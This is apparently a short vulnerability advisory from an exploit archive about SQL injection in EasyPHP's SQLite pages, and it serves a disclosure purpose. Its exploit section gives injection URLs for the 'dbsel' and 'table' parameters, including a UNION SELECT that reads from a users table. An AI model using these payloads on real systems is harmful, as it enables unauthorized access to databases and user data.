EasyPHP SQLite SQL Injection

2012.03.29

Credit: skote_vahshat

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: CWE-89

[Title] :[ Easyphp sqlite Sql injection Vulberability ]
[Author] :[ skote_vahshat ]
[Home] :[ www.t-bh.ir ]
[Archive] :[ Http://security7.ir ]
[Email] :[ skote.vahshat@Gmail.Com ]
========================================================================
[+]Exploit :
http://localhost/home/sqlite/index.php?dbsel=[SQLi ]
[+]Demo:
http://localhost/home/sqlite/index.php?dbsel=1
union+select+1,2,3+from+users
[+] Dwmo:
http://localhost/home/sqlite/main.php?dbsel=1&table=t1'
======================================================================

References:

http://security7.ir

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

EasyPHP SQLite SQL Injection

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.